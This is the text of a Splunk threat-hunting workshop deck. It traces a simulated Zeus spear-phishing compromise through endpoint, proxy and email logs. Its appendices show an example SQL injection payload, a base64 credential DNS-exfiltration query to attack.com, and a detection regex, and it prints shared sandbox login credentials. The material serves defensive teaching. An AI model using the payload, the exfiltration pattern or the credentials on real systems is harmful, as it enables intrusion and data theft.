Threat Hunting with Splunk

Threat Hunting with Splunk
Presenter: Ken Westin M.Sc, OSCP, ITPM
Splunk, Security Market Specialist
http://www.slideshare.net/kwestin/threat-hunting-71883454

Prework for today
● Setup Splunk Enterprise Security Sandbox
● Install free Splunk on laptop
● Install ML Toolkit app
https://splunkbase.splunk.com/app/2890/

3
> Ken Westin kwestin@splunk.com @kwestin
• 1.5 year at Splunk – Security Strategist
• Based in Portland, Oregon
• 20 years in technology and security
• M.Sc, OSCP, ITPM
• Trained in offensive & defensive security
$whoami

Agenda
• Threat Hunting Basics
• Threat Hunting Data Sources
• Sysmon Endpoint Data
• Cyber Kill Chain
• Walkthrough of Attack Scenario Using Core Splunk (hands on)
• Advanced Threat Hunting Techniques & Security Essentials
• Enterprise Security Walkthrough
• Applying Machine Learning and Data Science to Security

Log In Credentials
January, February & March https://54.144.69.125
April, May & June https://52.55.68.96
July and August https://54.164.82.160
September and October https://52.23.227.212
November and December https://52.202.90.207
User: hunter
Pass: pr3dat0r
Birth Month

Am I in the right place?
Some familiarity with…
● CSIRT/SOC Operations
● General understanding of Threat Intelligence
● General understanding of DNS, Proxy, and Endpoint types of data
7

What is threat hunting, why do you need it?
The What?
• Threat hunting - the
act of aggressively
intercepting,
tracking and
eliminating cyber
adversaries as early
as possible in the
Cyber Kill Chain 2
8
The Why?
• Threats are human.
Focused and funded
adversaries will not be
countered by security
boxes on the network
alone. Threat hunters are
actively searching for
threats to prevent or
minimize damage [before
it happens] 1
2 Cyber Threat Hunting - Samuel Alonso blog, Jan 20161 The Who, What, Where, When, Why and How of Effective Threat Hunting, SANS Feb 2016
“Threat Hunting is not new, it’s
just evolving!”

10
Vs.

Search &
Visualisation
Enrichment
Data
Automation
11
Human
Threat Hunter
Key Building Blocks to Drive Threat Hunting Maturity
Ref: The he Who, What, Where, When, Why and How of Effective Threat Hunting, SANS Feb 2016
Objectives > Hypotheses > Expertise

“A good intelligence officer cultivates an awareness
of what he or she does not know. You need a dose
of modesty to acknowledge your own ignorance -
even more, to seek out your ignorance. Then the
harder part comes, trying to do something about
it. This often requires an immodest determination”
Henry A. Crumpton
The Art of Intelligence: Lessons From A life In the CIA’s Clandestine Service
12

SANS Threat Hunting Maturity
13
Ad Hoc
Search
Statistical
Analysis
Visualization
Techniques
Aggregation Machine Learning/
Data Science
85% 55% 50% 48% 32%
Source: SANS IR & Threat Hunting Summit 2016

Search &
Visualisation
Enrichment
Data
Automation
Human
Threat Hunter
How Splunk helps You Drive Threat Hunting Maturity
Threat Hunting Automation
Integrated & out of the box automation tooling from artifact
query, contextual “swim-lane analysis”, anomaly & time series
analysis to advanced data science leveraging machine learning
Threat Hunting Data Enrichment
Enrich data with context and threat-intel across the stack or time
to discern deeper patterns or relationships
Search & Visualise Relationships for Faster Hunting
Search and correlate data while visually fusing results for faster
context, analysis and insight
Ingest & Onboard Any Threat Hunting Machine Data Source
Enable fast ingestion of any machine data through efficient
indexing, a big data real time architecture and ‘schema on the
read’ technology
Hypotheses
Automated
Analytics
Data Science &
Machine
Learning
Data &
Intelligence
Enrichment
Data Search
Visualisation
Maturity

Hunting Tools: Internal Data
15
• IP Addresses: threat intelligence, blacklist, whitelist, reputation monitoring
Tools: Firewalls, proxies, Splunk Stream, Bro, IDS
• Network Artifacts and Patterns: network flow, packet capture, active network connections, historic network connections, ports
and services
Tools: Splunk Stream, Bro IDS, FPC, Netflow
• DNS: activity, queries and responses, zone transfer activity
Tools: Splunk Stream, Bro IDS, OpenDNS
• Endpoint – Host Artifacts and Patterns: users, processes, services, drivers, files, registry, hardware, memory, disk activity, file
monitoring: hash values, integrity checking and alerts, creation or deletion
Tools: Windows/Linux, Carbon Black, Tanium, Tripwire, Active Directory
• Vulnerability Management Data
Tools: Tripwire IP360, Qualys, Nessus
• User Behavior Analytics: TTPs, user monitoring, time of day location, HR watchlist
Splunk UBA, (All of the above)

Persist, Repeat
Threat Intelligence
Access/Identity
Endpoint
Network
Attacker, know relay/C2 sites, infected sites, IOC,
attack/campaign intent and attribution
Where they went to, who talked to whom, attack
transmitted, abnormal traffic, malware download
What process is running (malicious, abnormal, etc.)
Process owner, registry mods, attack/malware
artifacts, patching level, attack susceptibility
Access level, privileged users, likelihood of infection,
where they might be in kill chain
• Third-party threat intel
• Open-source blacklist
• Internal threat intelligence
• Firewall, IDS, IPS
• DNS
• Email
• Endpoint (AV/IPS/FW)
• Malware detection
• PCLM
• DHCP
• OS logs
• Patching
• Active Directory
• LDAP
• CMDB
• Operating system
• Database
• VPN, AAA, SSO
Typical Data Sources
• Web proxy
• NetFlow
• Network

Endpoint: Microsoft Sysmon Primer
17
● TA Available on the App Store
● Great Blog Post to get you started
● Increases the fidelity of Microsoft
Logging
Blog Post:
http://blogs.splunk.com/2014/11/24/monitoring-network-traffic-with-sysmon-and-splunk/

Sysmon Event Tags
19
Maps Network Comm to process_id
Process_id creation and mapping to parentprocess_id

sourcetype=X* | search tag=communicate
20

sourcetype=X* | dedup tag| search tag=process
21

Demo Story - Kill Chain Framework
Successful brute force
– download sensitive
pdf document
Weaponize the pdf file
with Zeus Malware
Convincing email
sent with
weaponized pdf
Vulnerable pdf reader
exploited by malware.
Dropper created on machine
Dropper retrieves
and installs the
malware
Persistence via regular
outbound comm
Data Exfiltration
Source: Lockheed Martin

Servers
Storage
DesktopsEmail Web
Transaction
Records
Network
Flows
DHCP/ DNS
Hypervisor
Custom
Apps
Physical
Access
Badges
Threat
Intelligence
Mobile
CMDB
Intrusion
Detection
Firewall
Data Loss
Prevention
Anti-
Malware
Vulnerability
Scans
Traditional
Authentication
Stream Investigations– chooseyour data wisely
24

APT Transaction Flow Across Data Sources
25
http (proxy) session
to
command & control
server
Remote control
Steal data
Persist in company
Rent as botnet
Proxy
Conduct
Business
Create additional
environment
Gain Access
to systemTransaction
Threat
Intelligence
Endpoint
Network
Email, Proxy,
DNS, and Web
Data Sources
.pdf
.pdf executes & unpacks malware
overwriting and running “allowed” programs
Svchost.exe
(malware)
Calc.exe
(dropper)
Attacker hacks website
Steals .pdf files
Web
Portal.pdf
Attacker creates
malware, embed in .pdf,
emails
to the target
MAIL
Read email, open attachment
Our Investigation begins by
detecting high risk
communications through the
proxy, at the endpoint, and
even a DNS call.

index=zeus_demo3
26
in search:

To begin our
investigation, we will
start with a quick search
to familiarize ourselves
with the data sources.
In this demo
environment, we have a
variety of security
relevant data including…
Web
DNS
Proxy
Firewall
Endpoint
Email

Take a look at the
endpoint data source.
We are using the
Microsoft Sysmon TA.
We have endpoint
visibility into all network
communication and can
map each connection
back to a process.
}
We also have detailed
info on each process and
can map it back to the
user and parent process.}
Lets get our day started by looking
using threat intel to prioritize our
efforts and focus on communication
with known high risk entities.

We have multiple source
IPs communicating to
high risk entities
identified by these 2
threat sources.
We are seeing high risk
communication from
multiple data sources.
We see multiple threat intel related
events across multiple source types
associated with the IP Address of
Chris Gilbert. Let’s take closer look
at the IP Address.
We can now see the owner of the system
(Chris Gilbert) and that it isn’t a PII or PCI
related asset, so there are no immediate
business implications that would require
informing agencies or external customers
within a certain timeframe.
This dashboard is based on event
data that contains a threat intel
based indicator match( IP Address,
domain, etc.). The data is further
enriched with CMDB based
Asset/identity information.

We are now looking at only threat
intel related activity for the IP
Address associated with Chris
Gilbert and see activity spanning
endpoint, proxy, and DNS data
sources.
These trend lines tell a very
interesting visual story. It appears
that the asset makes a DNS query
involving a threat intel related
domain or IP Address.
ScrollDown
Scroll down the dashboard to
examine these threat intel events
associated with the IP Address.
We then see threat intel related
endpoint and proxy events
occurring periodically and likely
communicating with a known Zeus
botnet based on the threat intel
source (zeus_c2s).

It’s worth mentioning that at this point
you could create a ticket to have
someone re-image the machine to
prevent further damage as we continue
our investigation within Splunk.
Within the same dashboard, we have
access to very high fidelity endpoint
data that allows an analyst to continue
the investigation in a very efficient
manner. It is important to note that
near real-time access to this type of
endpoint data is not not common within
the traditional SOC.
The initial goal of the investigation is
to determine whether this
communication is malicious or a
potential false positive. Expand the
endpoint event to continue the
investigation.
Proxy related threat intel matches are
important for helping us to prioritize our
efforts toward initiating an
investigation. Further investigation into
the endpoint is often very time
consuming and often involves multiple
internal hand-offs to other teams or
needing to access additional systems.
This encrypted proxy traffic is concerning
because of the large amount of data
(~1.5MB) being transferred which is
common when data is being exfiltrated.

Exfiltration of data is a serious
concern and outbound
communication to external entity
that has a known threat intel
indicator, especially when it is
encrypted as in this case.
Lets continue the investigation.
Another clue. We also see that
svchost.exe should be located in a
Windows system directory but this is
being run in the user space. Not
good.
We immediately see the outbound
communication with 115.29.46.99 via
https is associated with the svchost.exe
process on the windows endpoint. The
process id is 4768. There is a great deal
more information from the endpoint as
you scroll down such as the user ID that
started the process and the associated
CMDB enrichment information.

We have a workflow action that will
link us to a Process Explorer
dashboard and populate it with the
process id extracted from the event
(4768).

This is a standard Windows app, but
not in its usual directory, telling us
that the malware has again spoofed
a common file name.
We also can see that the parent
process that created this
suspicuous svchost.exe process is
called calc.exe.
This has brought us to the Process
Explorer dashboard which lets us
view Windows Sysmon endpoint
data.
Suspected Malware
Lets continue the investigation by
examining the parent process as this
is almost certainly a genuine threat
and we are now working toward a
root cause.
This is very consistent with Zeus
behavior. The initial exploitation
generally creates a downloader or
dropper that will then download the
Zeus malware. It seems like calc.exe
may be that downloader/dropper.
Suspected Downloader/Dropper
This process calls itself “svchost.exe,”
a common Windows process, but the
path is not the normal path for
svchost.exe.
…which is a common trait of
malware attempting to evade
detection. We also see it making a
DNS query (port 53) then
communicating via port 443.

The Parent Process of our suspected
downloader/dropper is the legitimate PDF
Reader program. This will likely turn out to
be the vulnerable app that was exploited
in this attack.
Suspected Downloader/Dropper
Suspected Vulnerable AppWe have very quickly moved from
threat intel related network and
endpoint activity to the likely
exploitation of a vulnerable app.
Click on the parent process to keep
investigating.

We can see that the PDF
Reader process has no
identified parent and is the
root of the infection.
ScrollDown
examine activity related to the PDF
reader process.

Chris opened 2nd_qtr_2014_report.pdf
which was an attachment to an email!
We have our root cause! Chris opened a
weaponized .pdf file which contained the Zeus
malware. It appears to have been delivered via
email and we have access to our email logs as one
of our important data sources. Lets copy the
filename 2nd_qtr_2014_report.pdf and search a
bit further to determine the scope of this
compromise.

Lets dig a little further into
2nd_qtr_2014_report.pdf to determine the scope
of this compromise.

index=zeus_demo3 2nd_qtr_2014_report.pdf
39
in search:

Lets search though multiple data sources to
quickly get a sense for who else may have
have been exposed to this file.
We will come back to the web
activity that contains reference to
the pdf file but lets first look at the
email event to determine the scope
of this apparent phishing attack.

We have access to the email
body and can see why this was
such a convincing attack. The
sender apparently had access to
sensitive insider knowledge and
hinted at quarterly results.
There is our attachment.
Hold On! That’s not our
Domain Name! The spelling is
close but it’s missing a “t”. The
attacker likely registered a
domain name that is very close
to the company domain hoping
Chris would not notice.
This looks to be a very
targeted spear phishing
attack as it was sent to
only one employee (Chris).

Root Cause Recap
42
Data Sources
to
command & control
server
Remote control
Steal data
Persist in company
Rent as botnet
Proxy
Conduct
Business
Create additional
environment
Gain Access
Threat
Intelligence
Endpoint
Network
Email, Proxy,
DNS, and Web
.pdf
Svchost.exe
(malware)
Calc.exe
(dropper)
Steals .pdf files
Web
Portal.pdf
Attacker creates
emails
to the target
MAIL
We utilized threat intel to detect
communication with known high risk
indicators and kick off our investigation
then worked backward through the kill
chain toward a root cause.
Key to this investigative process is the
ability to associate network
communications with endpoint process
data.
This high value and very relevant ability to
work a malware related investigation
through to root cause translates into a very
streamlined investigative process compared
to the legacy SIEM based approach.

43
Lets revisit the search for additional
information on the 2nd_qtr_2014-
_report.pdf file.
We understand that the file was delivered
via email and opened at the endpoint. Why
do we see a reference to the file in the
access_combined (web server) logs?
Select the access_combined
sourcetype to investigate
further.

44
The results show 54.211.114.134 has
accessed this file from the web portal
of buttergames.com.
There is also a known threat intel
association with the source IP
Address downloading (HTTP GET)
the file.

45
Select the IP Address, left-click, then
select “New search”. We would like to
understand what else this IP Address
has accessed in the environment.

46
That’s an abnormally large
number of requests sourced
from a single IP Address in a
~90 minute window.
This looks like a scripted
action given the constant
high rate of requests over
the below window.
ScrollDown
examine other interesting fields to
further investigate.
Notice the Googlebot
useragent string which is
another attempt to avoid
raising attention..

47
The requests from 52.211.114.134 are
dominated by requests to the login page
(wp-login.php). It’s clearly not possible to
attempt a login this many times in a short
period of time – this is clearly a scripted
brute force attack.
After successfully gaining access to our
website, the attacker downloaded the
pdf file, weaponized it with the zeus
malware, then delivered it to Chris
Gilbert as a phishing email.
The attacker is also accessing admin
pages which may be an attempt to
establish persistence via a backdoor into
the web site.

Kill Chain Analysis Across Data Sources
48
to
command & control
server
Remote control
Steal data
Persist in company
Rent as botnet
Proxy
Conduct
Business
Create additional
environment
Gain Access
Threat
Intelligence
Endpoint
Network
Email, Proxy,
DNS, and Web
Data Sources
.pdf
Svchost.exe
(malware)
Calc.exe
(dropper)
Steals .pdf files
Web
Portal.pdf
Attacker creates
emails
to the target
MAIL
We continued the investigation
by pivoting into the endpoint
data source and used a
workflow action to determine
which process on the endpoint
was responsible for the
outbound communication.
We Began by reviewing
threat intel related events
for a particular IP address
and observed DNS, Proxy,
and Endpoint events for a
user in Sales.
Investigation complete! Lets get this
turned over to Incident Reponse team.
We traced the svchost.exe
Zeus malware back to it’s
parent process ID which was
the calc.exe
downloader/dropper.
Once our root cause analysis
was complete, we shifted out
focus into the web logs to
determine that the sensitive pdf
file was obtained via a brute
force attack against the
company website.
We were able to see which
file was opened by the
vulnerable app and
determined that the
malicious file was delivered
to the user via email.
A quick search into the mail
logs revealed the details
behind the phishing attack
and revealed that the scope
of the compromise was
limited to just the one user.
We traced calc.exe back to
the vulnerable application
PDF Reader.

Appendix
- SQLi
- DNS Exfilatration
- Splunk Security Essentials

SQL Injection
● SQL injection
● Code injection
● OS commanding
● LDAP injection
● XML injection
● XPath injection
● SSI injection
● IMAP/SMTP injection
● Buffer overflow

Imperva Web Attacks Report, 2015

The anatomy of a SQL injection attack
SELECT * FROM users WHERE email='xxx@xxx.com'
OR 1 = 1 -- ' AND password='xxx';
xxx@xxx.xxx' OR 1 = 1 -- '
xxx
admin@admin.sys
1234
An attacker might supply:

index=web_vuln password select

What have we here?
Our learning environment consists of:
• A bunch of publically-accessible single
Splunk servers
• Each with ~5.5M events, from real
environments but massaged:
• Windows Security events
• Apache web access logs
• Bro DNS & HTTP
• Palo Alto traffic logs
• Some other various bits

Search for possible SQL injection in your events:
 looks for patterns in URI query field to see if
anyone has injected them with SQL
statements
 use standard deviations that are 2.5 times
greater than the average length of your URI
query field
Macros used
• sqlinjection_pattern(sourcetype, uri query field)
• sqlinjection_stats(sourcetype, uri query field)

Regular Expression FTW
sqlinjection_rex is a search macro. It contains:
(?<injection>(?i)select.*?from|union.*?select|'$|delete.*?from|update.*?set|alter.*?table|([
%27|'](%20)*=(%20)*[%27|'])|w*[%27|']or)
Which means: In the string we are given, look for ANY of the following matches and put that
into the “injection” field.
• Anything containing SELECT followed by FROM
• Anything containing UNION followed by SELECT
• Anything with a ‘ at the end
• Anything containing DELETE followed by FROM
• Anything containing UPDATE followed by SET
• Anything containing ALTER followed by TABLE
• A %27 OR a ‘ and then a %20 and any amount of characters then a %20 and then a %27 OR a ‘
• Note: %27 is encoded “’” and %20 is encoded <space>
• Any amount of word characters followed by a %27 OR a ‘ and then “or”

Bonus: Try out the SQL Injection app!

Summary: Web attacks/SQL injection
● SQL injection provide attackers with easy access to data
● Detecting advanced SQL injection is hard – use an app!
● Understand where SQLi is happening on your network and put a
stop to it.
● Augment your WAF with enterprise-wide Splunk searches.

domain=corp;user=dave;password=12345
encrypt
DNS Query:
ZG9tYWluPWNvcnA7dXNlcj1kYXZlO3Bhc3N3b3JkPTEyMzQ1DQoNCg==.attack.com
ZG9tYWluPWNvcnA7dXNlcj1kYXZlO3Bhc3N3b3JkPTEyMzQ1DQoNCg==

DNS exfil tends to be
overlooked within an
ocean of DNS data.
Let’s fix that!
DNS exfiltration

FrameworkPOS: a card-stealing program that exfiltrates data from the
target’s network by transmitting it as domain name system (DNS) traffic
But the big difference is the way how stolen data is
exfiltrated: the malware used DNS requests!
https://blog.gdatasoftware.com/2014/10/23942-new-frameworkpos-
variant-exfiltrates-data-via-dns-requests
“
”
… few organizations actually keep detailed logs or records
of the DNS traffic traversing their networks — making it an
ideal way to siphon data from a hacked network.
http://krebsonsecurity.com/2015/05/deconstructing-the-2014-sally-
beauty-breach/#more-30872
“
”
DNS exfiltration

DNS exfil detection – tricks of the trade
 parse URLs & complicated TLDs (Top Level Domain)
 calculate Shannon Entropy
List of provided lookups
• ut_parse_simple(url)
• ut_parse(url, list) or ut_parse_extended(url, list)
• ut_shannon(word)
• ut_countset(word, set)
• ut_suites(word, sets)
• ut_meaning(word)
• ut_bayesian(word)
• ut_levenshtein(word1, word2)

Examples
• The domain aaaaa.com has a Shannon Entropy score of 1.8 (very low)
• The domain google.com has a Shannon Entropy score of 2.6 (rather low)
• A00wlkj—(-a.aslkn-C.a.2.sk.esasdfasf1111)-890209uC.4.com has a Shannon
Entropy score of 3 (rather high)
Layman’s definition: a score reflecting the randomness or measure of
uncertainty of a string
Shannon Entropy

Detecting Data Exfiltration
index=bro sourcetype=bro_dns
| `ut_parse(query)`
| `ut_shannon(ut_subdomain)`
| eval sublen =
length(ut_subdomain)
| table ut_domain ut_subdomain
ut_shannon sublen
TIPS
 Leverage our Bro DNS data
 Calculate Shannon Entropy scores
 Calculate subdomain length
 Display Details

… | stats
count
avg(ut_shannon) as avg_sha
avg(sublen) as avg_sublen
stdev(sublen) as stdev_sublen
by ut_domain
| search avg_sha>3 avg_sublen>20
stdev_sublen<2
TIPS
 Leverage our Bro DNS data
 Calculate Shannon Entropy scores
 Calculate subdomain length
 Display count, scores, lengths,
deviations

RESULTS
• Exfiltrating data requires many DNS requests – look for high counts
• DNS exfiltration to mooo.com and chickenkiller.com

Summary: DNS exfiltration
● Exfiltration by DNS and ICMP is a very common technique
● Many organizations do not analyze DNS activity – do not be like them!
● No DNS logs? No Splunk Stream? Look at FW byte counts

Identify bad guys in your environment:
 45+ use cases common in UEBA products, all
free on Splunk Enterprise
 Target external attackers and insider threat
 Scales from small to massive companies
 Save from the app, send results to ES/UBA
The most widely deployed UEBA vendor in the
market is Splunk Enterprise, but no one knows it.
Solve use cases you can today for free, then use
Splunk UBA for advanced ML detection.

Splunk Security Essentials
Time Series Analysis
with Standard Deviation
First Time Seen
powered by stats
General Security
Analytics Searches
Types of Use Cases

Splunk Security Essentials
Data Sources
Electronic Medical Record
Source Code Repository

● How does the app work?
– Leverages primarily | stats for UEBA
– Also implements several advanced Splunk searches (URL Toolbox, etc.)
● Why call it UEBA?
– These use cases are often in UEBA tools
– 2/3 of use case build on a baseline, which is a hallmark of UEBA
– 1/3 are advanced analytics that other vendors showcase in their UEBA
● How does it scale?
– App automates the utilization of high scale techniques
– Summary indexing for Time Series, caching in lookup for First Time

79
Splunk Enterprise
- Big Data Analytics Platform -
Splunk Enterprise Security
- Security Analytics Platform -
Hypotheses
Automated
Analytics
Data Science &
Machine
Learning
Data &
Intelligence
Enrichment
Data Search
Visualisation
Maturity
Threat Hunting Data
Enrichment
Threat Hunting
Automation
Ingest & Onboard Any
Threat Hunting
Machine Data Source
Search & Visualise
Relationships for
Faster Hunting

Other Items To Note
Items to Note
Navigation - How to Get Here
Description of what to click on
Click

Key Security Indicators (build your own!)
Sparklines
Editable

Various ways to filter data
Malware-Specific KSIs and Reports
Security Domains -> Endpoint -> Malware Center

Filterable
KSIs specific to Risk
Risk assigned to system,
user or other
Under Advanced Threat,
select Risk Analysis

(Scroll Down)
Recent Risk Activity
select Risk Analysis

Filterable, down to IoC
KSIs specific to Threat
Most active threat source
Scroll down…
Scroll
select Threat Activity

Specifics about recent threat matches
select Threat Activity

To add threat intel go to:
Configure -> Data Enrichment ->
Threat Intelligence Downloads
Click

Click “Threat Artifacts”
Under “Advanced Threat”
Click

Artifact Categories –
click different tabs…
STIX feed
Custom feed
select Threat Artifacts

Review the Advanced Threat
content
Click

Data from asset framework
Configurable Swimlanes
Darker=more events
All happened around same timeChange to
“Today” if needed
Asset Investigator, enter
“192.168.56.102”

Data Science &
Machine Learning In
Security
92

Disclaimer: I am not a data scientist

Types of Machine Learning
Supervised Learning: generalizing from labeled data

Supervised Machine Learning
95
Domain Name TotalCnt RiskFactor AGD SessionTime RefEntropy NullUa Outcome
yyfaimjmocdu.com 144 6.05 1 1 0 0 Malicious
jjeyd2u37an30.com 6192 5.05 0 1 0 0 Malicious
cdn4s.steelhousemedia.com 107 3 0 0 0 0 Benign
log.tagcade.com 111 2 0 1 0 0 Benign
go.vidprocess.com 170 2 0 0 0 0 Benign
statse.webtrendslive.com 310 2 0 1 0 0 Benign
cdn4s.steelhousemedia.com 107 1 0 0 0 0 Benign
log.tagcade.com 111 1 0 1 0 0 Benign

Unsupervised Learning: generalizing from unlabeled data

Unsupervised Machine Learning
• No tuning
• Programmatically finds trends
• UBA is primarily unsupervised
• Rigorously tested for fit
97
AlgorithmRaw Security Data Automated Clustering

ML Toolkit & Showcase
• Splunk Supported framework for building ML Apps
– Get it for free: http://tiny.cc/splunkmlapp
• Leverages Python for Scientific Computing (PSC) add-on:
– Open-source Python data science ecosystem
– NumPy, SciPy, scitkit-learn, pandas, statsmodels
• Showcase use cases: Predict Hard Drive Failure, Server Power
Consumption, Application Usage, Customer Churn & more
• Standard algorithms out of the box:
– Supervised: Logistic Regression, SVM, Linear Regression, Random Forest, etc.
– Unsupervised: KMeans, DBSCAN, Spectral Clustering, PCA, KernelPCA, etc.
• Implement one of 300+ algorithms by editing Python scripts

Machine Learning
Toolkit Demo
100

103
Splunk Enterprise
- Big Data Analytics Platform -
Splunk Enterprise Security
- Security Analytics Platform -
Threat Hunting Data
Enrichment
Threat Hunting
Automation
Ingest & Onboard Any
Threat Hunting
Machine Data Source
Search & Visualise
Relationships for
Faster Hunting
Hypotheses
Automated
Analytics
Data Science &
Machine
Learning
Data &
Intelligence
Enrichment
Data Search
Visualisation
Maturity
User Behavior Analytics
- Security Data Science Platform -

104
Machine Learning Security Use Cases
MachineLearningUseCases
Polymorphic Attack Analysis
Behavioral Peer Group Analysis
User & Entity Behavior Baseline
Entropy/Rare Event Detection
Cyber Attack / External Threat Detection
Reconnaissance, Botnet and C&C Analysis
Lateral Movement Analysis
Statistical Analysis
Data Exfiltration Models
IP Reputation Analysis
Insider Threat Detection
User/Device Dynamic Fingerprinting

Splunk UBA Use Cases
ACCOUNT TAKEOVER
• Privileged account compromise
• Data exfiltration
LATERAL MOVEMENT
• Pass-the-hash kill chain
• Privilege escalation
SUSPICIOUS ACTIVITY
• Misuse of credentials
• Geo-location anomalies
MALWARE ATTACKS
• Hidden malware activity
BOTNET, COMMAND & CONTROL
• Malware beaconing
• Data leakage
USER & ENTITY BEHAVIOR ANALYTICS
• Suspicious behavior by accounts or
devices
EXTERNAL THREATSINSIDER THREATS

Splunk User Behavior Analytics (UBA)
• ~100% of breaches involve valid credentials (Mandiant Report)
• Need to understand normal & anomalous behaviors for ALL users
• UBA detects Advanced Cyberattacks and Malicious Insider Threats
• Lots of ML under the hood:
– Behavior Baselining & Modeling
– Anomaly Detection (30+ models)
– Advanced Threat Detection
• E.g., Data Exfil Threat:
– “Saw this strange login & data transferfor user kwestin
at 3am in China…”
– Surface threat to SOC Analysts

RAW SECURITY
EVENTS
ANOMALIES ANOMALY
CHAINS
(THREATS)
MACHINE
LEARNING
GRAPH
MINING
THREAT
MODELS
Lateral Movement
Beaconing
Land-Speed Violation
HCI
Anomalies graph
Entity relationship graph
Kill chain sequence
Forensic artifacts
Threat/Risk scoring
FEEDBACK

Overall Architecture
108
Real-Time Infra
(Storm-based)
FilterEvents
DropEvents
ModelExecution&
OnlineTraining
Runtime
Topologies
Threat and
Anomaly Review
Hadoop/HDFS
Data
Receivers
(flume, REST, etc.)
Real-Time
Updates/No
tifications
App/SaaS
Connectors
Core + ES
Network Data
Push/Pull Model
Persistence
Layer
DataDistributed
Kafka
ETL
IR
Model
Parsers
Filters
Attribution
ControlPath–Resource/HealthMonitoring
HBase/HDFS
Direct
Access
Façade
GraphDB
SQL
Access
Layer
Node.js
Socket.io
server
SQL Store
(Threats/
Anomalies)
Time-Series DBModel
Registry
Model
Store HBase
Model N
Data
Model 1
Model N
Model 1
Model N
Neo4J
(Graph
visualizations)
Rules
Engine
Anomalies
+ Threats
Analytics
Store
Syslog and
Other Data

Data Flow and System Requirements
API CONNECTOR
SYSLOG
FORWARDER
Explore Visualize ShareAnalyze Dashboards
RESULTS
THREAT & ANOMALY DATA
QUERY
UBA
REQUEST FOR
ADDITIONAL
DETAILS
THREATS
RESULTS
QUERY
NOTABLE EVENTS
RISK SCORING FRAMEWORK
WORKFLOW MANAGEMENT
VM
Search
head
Standard RT Query
VM specs:
- Ubuntu/RHEL
- 16 cores
- 64 GB RAM
- Local and network disks
- GigE connectivity
Performance/scale:
- UBA v2.3
- E.g., 5-nodes
- 25K EPS
- Add nodes for near-linear scale
Splunk Enterprise:
- RT search capability
- 8-10 concurrent
searches
- REST API port (8089)
- SA-LDAPSEARCH
Shared network storage

Security Workshops
● Security Readiness Workshop
● Data Science Workshop
● Enterprise Security Benchmark Assessment

Security Workshop Survey
https://www.surveymonkey.com/r/3T6T9TH
kwestin@splunk.com
Twitter: @kwestin
linkedin.com/in/kwestin

Threat Hunting with Splunk

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